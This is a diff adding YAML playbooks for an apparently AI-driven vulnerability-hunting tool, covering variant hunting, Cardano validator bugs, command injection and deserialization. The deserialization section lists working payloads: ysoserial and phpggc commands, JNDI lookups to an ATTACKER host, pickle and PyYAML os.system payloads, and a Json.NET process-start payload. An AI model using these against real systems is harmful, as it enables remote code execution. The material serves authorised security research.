contract, then plans and executes probes that test each invariant against
|
|
39
|
+
the live server.
|
|
40
|
+
|
|
41
|
+
### Reading the result
|
|
42
|
+
- Each drift is a LEAD: a documented-vs-actual mismatch. The high-value
|
|
43
|
+
classes are auth/authorization drift (an endpoint reachable without the
|
|
44
|
+
required credential — BOLA/BFLA), shadow endpoints/params, and
|
|
45
|
+
over-disclosure in responses.
|
|
46
|
+
- Confirm the security impact of a drift (who can reach it, what it exposes)
|
|
47
|
+
before treating it as a finding. Not every documentation mismatch is a
|
|
48
|
+
vulnerability.
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
id: variant-hunting
|
|
2
|
+
name: "Variant Hunting from a Seed"
|
|
3
|
+
description: "When to reach for the offline `variant_hunt` engine: given a proven bug (a seed fix diff or a described bug class) hunt the SAME class at OTHER sites in the source tree — LLM bug-class extraction + grep'd candidate sites → parallel finders → adversarial skeptic gate. Offline source read; never touches the target network. Emits LEADS, not confirmed 0-days."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- variant-analysis
|
|
11
|
+
- variant-hunt
|
|
12
|
+
- bug-class
|
|
13
|
+
- patch-diffing
|
|
14
|
+
- source-review
|
|
15
|
+
- n-day
|
|
16
|
+
triggers:
|
|
17
|
+
- "variant"
|
|
18
|
+
- "same (bug|vuln|pattern|class) (elsewhere|again|somewhere)"
|
|
19
|
+
- "patch.?diff"
|
|
20
|
+
- "seed (fix|diff|patch)"
|
|
21
|
+
- "hunt (for )?(other|more) (instances|occurrences|sites)"
|
|
22
|
+
estimated_tokens: 650
|
|
23
|
+
content: |
|
|
24
|
+
## Variant hunting from a seed (offline)
|
|
25
|
+
|
|
26
|
+
One real bug is rarely alone. When you have a PROVEN bug — a fix commit, a
|
|
27
|
+
described root cause, or a confirmed finding — the highest-yield next move is
|
|
28
|
+
to hunt the SAME bug class at every OTHER site in the tree. Reach for
|
|
29
|
+
**`variant_hunt`** instead of ad-hoc grepping.
|
|
30
|
+
|
|
31
|
+
### What it does
|
|
32
|
+
- Extracts the bug CLASS from the seed (the sink, the missing guard, the
|
|
33
|
+
dangerous pattern), then generates candidate sites across the tree (an LLM
|
|
34
|
+
bug-class pass + grep'd structural candidates).
|
|
35
|
+
- Runs parallel finders over the candidates, then gates survivors through an
|
|
36
|
+
adversarial skeptic that re-reads each and tries to refute it.
|
|
37
|
+
|
|
38
|
+
### How to drive it
|
|
39
|
+
- Point it at the `source` tree (a local path; resolved within the scoped
|
|
40
|
+
source path when one is set).
|
|
41
|
+
- Provide the `seed` — a fix diff, the finding, or a description of the bug
|
|
42
|
+
class. A sharper seed yields sharper candidates. With no seed it falls back
|
|
43
|
+
to a broader class-agnostic sweep.
|
|
44
|
+
|
|
45
|
+
### Reading the result
|
|
46
|
+
- A surviving hunt finding is a **LEAD, not a confirmed 0-day**: the skeptic
|
|
47
|
+
gate filters (re-reads + refutes) but does not PROVE, and novelty (is this
|
|
48
|
+
site already fixed upstream?) is a downstream gate.
|
|
49
|
+
- Treat `confirmed` as "worth verifying". Before any disclosure: trace the
|
|
50
|
+
real sink from a concrete entry point, and check the site is not already
|
|
51
|
+
patched. Hand a promising lead to `verify_finding` to close the loop.
|
|
52
|
+
|
|
53
|
+
### When to use
|
|
54
|
+
- Right after a fix lands or a finding is confirmed — hunt siblings.
|
|
55
|
+
- When reviewing a codebase with a known recurring anti-pattern.
|
|
@@ -0,0 +1,72 @@
|
|
|
1
|
+
id: cardano-eutxo-validators
|
|
2
|
+
name: "Cardano EUTXO Validator Logic Bugs (Aiken / Plutus)"
|
|
3
|
+
description: "Value-stealing logic bugs in Cardano on-chain validators — double satisfaction, missing signer checks, unconserved value, unauthorized minting, datum trust, staking/withdrawal tricks. No memory safety here; every bug is a constraint the validator forgets to enforce, exploited by a transaction the ledger admits."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
- review
|
|
9
|
+
tags:
|
|
10
|
+
- cardano
|
|
11
|
+
- aiken
|
|
12
|
+
- plutus
|
|
13
|
+
- smart-contract
|
|
14
|
+
- eutxo
|
|
15
|
+
- double-satisfaction
|
|
16
|
+
- blockchain
|
|
17
|
+
triggers:
|
|
18
|
+
- "validator\\s*\\{|validator\\s+\\w+\\s*\\("
|
|
19
|
+
- "ScriptContext|TxInfo|mkValidator|PlutusV[23]|plutus-tx"
|
|
20
|
+
- "extra_signatories|tx\\.signatories|txInfoSignatories"
|
|
21
|
+
- "redeemer|datum|Datum|Redeemer"
|
|
22
|
+
- "aiken\\.toml|\\.ak\\b|plutarch|pvalidator"
|
|
23
|
+
- "outputs|inputs|mint|withdrawals|reference_inputs"
|
|
24
|
+
- "find_input|own_input|continuing.?output|find_datum"
|
|
25
|
+
estimated_tokens: 900
|
|
26
|
+
content: |
|
|
27
|
+
## Cardano EUTXO Validator Logic — Methodology
|
|
28
|
+
|
|
29
|
+
Cardano validators are pure functions `(datum, redeemer, ScriptContext) -> Bool`
|
|
30
|
+
on a memory-safe VM. There is NO UAF/OOB/injection. The ONLY bug class is:
|
|
31
|
+
**a transaction the validator should reject but accepts**, draining locked
|
|
32
|
+
value or minting unauthorized tokens. Every bug is a missing or weak check on
|
|
33
|
+
a `TxInfo` field. Verified class across Cardano (acropolis/cardano-js-sdk SSRF
|
|
34
|
+
is off-chain; this is the on-chain sibling).
|
|
35
|
+
|
|
36
|
+
### Phase 1: Enumerate validators + what they constrain
|
|
37
|
+
For each `spend` / `mint` / `withdraw` / `publish` / `vote` handler (Aiken v2)
|
|
38
|
+
or redeemer branch (Plutus), list which `ScriptContext`/`TxInfo` fields it
|
|
39
|
+
actually asserts on: `extra_signatories`, `inputs`, `outputs`, `mint`,
|
|
40
|
+
`validity_range`, `withdrawals`, `reference_inputs`, `datums`. The bug is the
|
|
41
|
+
field it FORGETS.
|
|
42
|
+
|
|
43
|
+
### Phase 2: The high-yield bug classes
|
|
44
|
+
- **Double satisfaction** — validator checks "an output of value X to addr A
|
|
45
|
+
exists" without binding it to THIS input. One output satisfies two script
|
|
46
|
+
inputs → drain. Fix marker: counts own inputs / tags output to own outref.
|
|
47
|
+
- **Missing signer check** — admin/spend/upgrade path that never requires the
|
|
48
|
+
owner key in `extra_signatories` (or checks an attacker-suppliable list).
|
|
49
|
+
- **Value not conserved** — validates the datum/state transition but never
|
|
50
|
+
asserts `continuing_output.value >= input.value`. Attacker pays value to
|
|
51
|
+
self. Also `>=` slack the attacker profits from, and min-ada/dust tricks.
|
|
52
|
+
- **Unauthorized mint** — mint handler with no quantity check, no redeemer
|
|
53
|
+
binding, or a one-shot guard that consumes the WRONG outref → infinite mint.
|
|
54
|
+
- **Datum trust** — trusts a datum field (price/owner/oracle) without
|
|
55
|
+
verifying it, or trusts an output datum it does not constrain; datum-hash vs
|
|
56
|
+
inline-datum confusion on Plutus.
|
|
57
|
+
- **Staking/withdrawal trick** — unconstrained `withdrawals`, withdraw-zero to
|
|
58
|
+
skip a check, or delegating a spend check to a trivially-satisfiable stake
|
|
59
|
+
script.
|
|
60
|
+
- **Missing validity-range / replay** — no deadline/vesting time bound; no
|
|
61
|
+
nonce/spent-input uniqueness → replay of an authorization.
|
|
62
|
+
|
|
63
|
+
### Phase 3: Prove it (no sanitizer here)
|
|
64
|
+
Ground every finding in (1) the validator file:line of the missing check and
|
|
65
|
+
(2) the malicious transaction shape — which inputs, outputs, mint, signers —
|
|
66
|
+
and why each EXISTING check still passes while value moves to the attacker.
|
|
67
|
+
|
|
68
|
+
### Phase 4: Kill false positives
|
|
69
|
+
Reject if: the Cardano ledger already enforces it (value ≥ 0, no double-spend,
|
|
70
|
+
min-ada, fees); a SIBLING validator or required-signer enforces it; or the
|
|
71
|
+
"missing" check has no real value impact. Read the other validators before
|
|
72
|
+
concluding — most false positives are checks enforced one validator over.
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
id: command-injection
|
|
2
|
+
name: "OS Command Injection"
|
|
3
|
+
description: "Untrusted data reaching a shell/subprocess — via filenames, URLs, archive entries, config values, and tool delegates. The single highest-disclosure bug class in our corpus (ImageMagick delegates, ESLint processors, whisper examples)."
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles:
|
|
6
|
+
- attack
|
|
7
|
+
- audit
|
|
8
|
+
tags:
|
|
9
|
+
- command-injection
|
|
10
|
+
- rce
|
|
11
|
+
- subprocess
|
|
12
|
+
- shell
|
|
13
|
+
- delegate
|
|
14
|
+
- argument-injection
|
|
15
|
+
- nodejs
|
|
16
|
+
- python
|
|
17
|
+
- c
|
|
18
|
+
triggers:
|
|
19
|
+
- "command.?inject"
|
|
20
|
+
- "child_process"
|
|
21
|
+
- "exec\\("
|
|
22
|
+
- "execSync"
|
|
23
|
+
- "spawn\\("
|
|
24
|
+
- "spawnSync"
|
|
25
|
+
- "shell\\s*[:=]\\s*true"
|
|
26
|
+
- "os\\.system"
|
|
27
|
+
- "subprocess"
|
|
28
|
+
- "popen"
|
|
29
|
+
- "Runtime\\.getRuntime"
|
|
30
|
+
- "ProcessBuilder"
|
|
31
|
+
- "system\\("
|
|
32
|
+
- "execve|execvp|execlp"
|
|
33
|
+
- "delegate"
|
|
34
|
+
- "ImageMagick|convert\\b|ffmpeg|gs\\b|ghostscript"
|
|
35
|
+
- "eslint|processor"
|
|
36
|
+
- "backtick|`\\$"
|
|
37
|
+
estimated_tokens: 950
|
|
38
|
+
content: |
|
|
39
|
+
## OS Command Injection Methodology
|
|
40
|
+
|
|
41
|
+
This is the highest-yield, most-frequently-accepted bug class in our corpus.
|
|
42
|
+
The win is almost never a literal `;rm -rf` in obvious code — it's **untrusted
|
|
43
|
+
data that flows into a subprocess through a non-obvious channel**: a filename,
|
|
44
|
+
a URL, an archive member name, a config field, or a tool "delegate" template.
|
|
45
|
+
|
|
46
|
+
### Phase 1: Find the subprocess sinks
|
|
47
|
+
- **Node**: `child_process.exec`/`execSync` (runs via `/bin/sh -c` → shell
|
|
48
|
+
metachars live), `spawn`/`execFile` with `shell: true`, template literals
|
|
49
|
+
built into an `exec` string.
|
|
50
|
+
- **Python**: `os.system`, `subprocess.*(…, shell=True)`, `os.popen`,
|
|
51
|
+
`commands.*`. Also `subprocess.run([...])` where an attacker controls
|
|
52
|
+
`argv[0]` or can inject a leading `-flag` (argument injection).
|
|
53
|
+
- **C/C++**: `system()`, `popen()`, `execlp/execvp` with a PATH-resolved name,
|
|
54
|
+
or building a command string then handing it to a shell.
|
|
55
|
+
- **Delegates / external tools**: ImageMagick `delegates.xml`, ffmpeg/gs
|
|
56
|
+
invocations, git hooks, `eslint` custom processors, build scripts. These
|
|
57
|
+
expand `%f`/`%u`/`{filename}` style placeholders into a shell command.
|
|
58
|
+
|
|
59
|
+
### Phase 2: Trace the source (the part people miss)
|
|
60
|
+
Ask: *what attacker-controlled value reaches the sink, and through how many
|
|
61
|
+
hops?* Productive sources in our verified findings:
|
|
62
|
+
- **Filenames** — an uploaded/processed file's name interpolated into a
|
|
63
|
+
command (ESLint processor on a crafted filename; ImageMagick on `name.png`).
|
|
64
|
+
- **URLs / remote refs** — a git remote URL, a download URL, a redirect target
|
|
65
|
+
passed to a fetch+process step.
|
|
66
|
+
- **Archive member names** — extracted entries used in a later command.
|
|
67
|
+
- **Config / manifest fields** — a value from `package.json`, a YAML/JSON
|
|
68
|
+
config, or an icon/asset path used unquoted in a sync/build script.
|
|
69
|
+
- **Auth / header values** — usernames or tokens echoed into a command.
|
|
70
|
+
|
|
71
|
+
### Phase 3: Argument injection (don't stop at metachars)
|
|
72
|
+
Even with no shell, a parameterized subprocess is exploitable if the attacker
|
|
73
|
+
controls a value that becomes a **flag**: a filename starting with `-` becomes
|
|
74
|
+
an option (`--output=…`, `-o`), `git`'s `--upload-pack`, `curl`'s `-K`/`-o`,
|
|
75
|
+
`ssh`'s `-o ProxyCommand=…`. Look for `argv` arrays where an untrusted string
|
|
76
|
+
lands in a position that the tool will parse as an option.
|
|
77
|
+
|
|
78
|
+
### Phase 4: Confirm before save_finding (mandatory)
|
|
79
|
+
A real, savable command-injection needs a concrete trigger path:
|
|
80
|
+
- the exact source → sink dataflow (file:line for each hop),
|
|
81
|
+
- the metachar/flag that breaks out and why the surrounding quoting/escaping
|
|
82
|
+
doesn't stop it (check for `shellescape`, `shlex.quote`, array-argv, allowlist),
|
|
83
|
+
- a minimal PoC input (a filename / URL / config value) and the resulting
|
|
84
|
+
command string. If you can run it in the sandbox, do — a captured
|
|
85
|
+
`id`/`echo PWNED` is the gold standard.
|
|
86
|
+
|
|
87
|
+
### Anti-false-positive checklist
|
|
88
|
+
- Is the input actually attacker-controlled, or developer-supplied at build?
|
|
89
|
+
- Is there an allowlist / `execFile` (no shell) / proper quoting upstream?
|
|
90
|
+
- Does the "untrusted" value get validated/canonicalized before the sink?
|
|
91
|
+
If quoting is correct and the value is array-passed without shell, it is NOT
|
|
92
|
+
command injection — say so and move on; don't pad the report.
|
|
93
|
+
|
|
94
|
+
### Real wins from this engine (the shape that lands)
|
|
95
|
+
- ImageMagick delegate command expansion via crafted filename/URL.
|
|
96
|
+
- ESLint custom processor command injection via crafted filename (acknowledged
|
|
97
|
+
by the maintainer).
|
|
98
|
+
- `whisper` example: untrusted filename → subprocess.
|
|
99
|
+
- GitHub Actions supply-chain command injection via a malicious value.
|
|
@@ -0,0 +1,106 @@
|
|
|
1
|
+
id: deserialization-chains
|
|
2
|
+
name: "Deserialization Attack Chains"
|
|
3
|
+
description: "Multi-language deserialization exploitation: Java, PHP, Python, .NET, Ruby"
|
|
4
|
+
version: 1
|
|
5
|
+
applicable_roles: [attack, audit]
|
|
6
|
+
tags: [deserialization, rce, java, php, python, dotnet, pickle, ysoserial, phar, gadget-chain]
|
|
7
|
+
triggers:
|
|
8
|
+
- "unserialize\\s*\\("
|
|
9
|
+
- "pickle\\.loads?\\s*\\("
|
|
10
|
+
- "cPickle"
|
|
11
|
+
- "__reduce__"
|
|
12
|
+
- "yaml\\.load\\s*\\("
|
|
13
|
+
- "!!python/object"
|
|
14
|
+
- "rO0AB"
|
|
15
|
+
- "application/x-java-serialized-object"
|
|
16
|
+
- "ysoserial"
|
|
17
|
+
- "CommonsCollections"
|
|
18
|
+
- "BinaryFormatter"
|
|
19
|
+
- "ObjectStateFormatter"
|
|
20
|
+
- "__VIEWSTATE"
|
|
21
|
+
- "TypeNameHandling"
|
|
22
|
+
- "Marshal\\.load"
|
|
23
|
+
- "phpggc"
|
|
24
|
+
- "O:\\d+:\"[\\w\\\\]+\":\\d+:\\{"
|
|
25
|
+
- "Fastjson"
|
|
26
|
+
- "Jackson.*enableDefaultTyping"
|
|
27
|
+
- "SnakeYAML"
|
|
28
|
+
- "\\\\xac\\\\xed\\\\x00\\\\x05"
|
|
29
|
+
estimated_tokens: 750
|
|
30
|
+
content: |
|
|
31
|
+
## Deserialization Attack Chains
|
|
32
|
+
|
|
33
|
+
### Step 1: Identify Serialization Format
|
|
34
|
+
Detect the format from magic bytes, Content-Type, or code patterns:
|
|
35
|
+
- **Java**: magic `\xac\xed\x00\x05` / base64 `rO0AB`; Content-Type `application/x-java-serialized-object`
|
|
36
|
+
- **PHP**: `O:8:"stdClass":0:{}` shape in cookies, POST bodies, or hidden fields
|
|
37
|
+
- **Python pickle**: base64 blobs in cookies (Flask-Session), `.pkl` files, Celery task bodies
|
|
38
|
+
- **.NET**: `__VIEWSTATE` fields, `SoapFormatter`/`BinaryFormatter` in request bodies
|
|
39
|
+
- **Ruby**: `\x04\x08` header in base64 cookies (Rack sessions)
|
|
40
|
+
|
|
41
|
+
### Step 2: Java Deserialization
|
|
42
|
+
**ysoserial gadget chains** (match to classpath):
|
|
43
|
+
- `java -jar ysoserial.jar CommonsCollections1 'id' | base64 -w0` — Apache Commons Collections 3.1
|
|
44
|
+
- `CommonsCollections5` / `CommonsCollections6` — CC 3.1-3.2.1 (no InvokerTransformer restriction)
|
|
45
|
+
- `CommonsBeanutils1` — commons-beanutils on classpath
|
|
46
|
+
- `Spring1` / `Spring2` — Spring Framework apps
|
|
47
|
+
- `Hibernate1` — Hibernate ORM present
|
|
48
|
+
- `URLDNS` — **no gadget dependency**, blind detection via DNS callback; always try first
|
|
49
|
+
- Blind detection: `java -jar ysoserial.jar URLDNS 'http://ATTACKER.oast.id' | base64 -w0`
|
|
50
|
+
|
|
51
|
+
**Jackson (enableDefaultTyping / @JsonTypeInfo)**:
|
|
52
|
+
- Payload: `["com.sun.rowset.JdbcRowSetImpl",{"dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}]`
|
|
53
|
+
- Requires JNDI injection endpoint (Marshalsec LDAP/RMI server)
|
|
54
|
+
|
|
55
|
+
**Fastjson** (versions < 1.2.68):
|
|
56
|
+
- `{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ATTACKER:1389/obj","autoCommit":true}`
|
|
57
|
+
- Bypass autoType: `{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://ATTACKER/a","autoCommit":true}`
|
|
58
|
+
|
|
59
|
+
**Common Java sinks**: RMI (:1099), JMX, T3 (WebLogic :7001), JMS queues, JSF ViewState, Struts2 OGNL parameters.
|
|
60
|
+
|
|
61
|
+
### Step 3: PHP Deserialization
|
|
62
|
+
**unserialize() + POP chains**:
|
|
63
|
+
- Confirm: send `O:8:"stdClass":0:{}` — valid parse = no error; garbage = `unserialize(): Error at offset`
|
|
64
|
+
- Build chains with **phpggc**: `phpggc Monolog/RCE1 system id | base64 -w0`
|
|
65
|
+
- Key chains: `Laravel/RCE1-12`, `Symfony/RCE1-6`, `Monolog/RCE1-9`, `Guzzle/RCE1`, `Slim/RCE1`
|
|
66
|
+
- Fingerprint framework from cookies (laravel_session, XSRF-TOKEN), error traces, headers
|
|
67
|
+
|
|
68
|
+
**Phar deserialization** (no direct unserialize call needed):
|
|
69
|
+
- Upload a phar disguised as `.jpg`/`.png` (phar polyglot)
|
|
70
|
+
- Trigger via any file operation: `file_exists("phar://uploads/evil.jpg")`, `getimagesize()`, `finfo_file()`
|
|
71
|
+
- Phar metadata is deserialized automatically — chains same as unserialize()
|
|
72
|
+
|
|
73
|
+
### Step 4: Python Deserialization
|
|
74
|
+
**pickle RCE** (pickle.loads on attacker data = direct code execution):
|
|
75
|
+
```python
|
|
76
|
+
import pickle, base64, os
|
|
77
|
+
class E:
|
|
78
|
+
def __reduce__(self):
|
|
79
|
+
return (os.system, ('id',))
|
|
80
|
+
print(base64.b64encode(pickle.dumps(E())).decode())
|
|
81
|
+
```
|
|
82
|
+
Common sinks: Flask-Session (pickle backend), Redis-cached objects, `/tmp/*.pkl`, Celery task serialization, shelve, joblib.load.
|
|
83
|
+
|
|
84
|
+
**PyYAML** (yaml.load without SafeLoader):
|
|
85
|
+
- `!!python/object/apply:os.system ["id"]`
|
|
86
|
+
- `!!python/object/apply:subprocess.check_output [["id"]]`
|
|
87
|
+
- Older PyYAML: `!!python/object/new:os.system ["id"]`
|
|
88
|
+
|
|
89
|
+
### Step 5: .NET Deserialization
|
|
90
|
+
**BinaryFormatter / SoapFormatter / LosFormatter**:
|
|
91
|
+
- `ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c whoami"`
|
|
92
|
+
- `ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "cmd /c whoami"`
|
|
93
|
+
|
|
94
|
+
**ViewState** (ASP.NET):
|
|
95
|
+
- Check for `__VIEWSTATE` without MAC validation (no `__VIEWSTATEGENERATOR` or known machine key)
|
|
96
|
+
- `ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "cmd /c whoami" --path="/target.aspx" --apppath="/"`
|
|
97
|
+
|
|
98
|
+
**Json.NET TypeNameHandling** (not None):
|
|
99
|
+
- `{"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework","MethodName":"Start","MethodParameters":{"$type":"System.Collections.ArrayList","$values":["cmd","/c whoami"]},"ObjectInstance":{"$type":"System.Diagnostics.Process, System"}}`
|
|
100
|
+
|
|
101
|
+
### Workflow
|
|
102
|
+
1. Identify format from magic bytes, headers, or code patterns.
|
|
103
|
+
2. Send a benign baseline blob to confirm deserialization occurs (error shape reveals parser).
|
|
104
|
+
3. Start with blind/OOB detection (URLDNS for Java, DNS/HTTP callback for others).
|
|
105
|
+
4. Match gadget chain to fingerprinted framework/library versions.
|
|
106
|
+
5. Escalate to command execution; prove with `id`/`whoami`, not flag reads.
|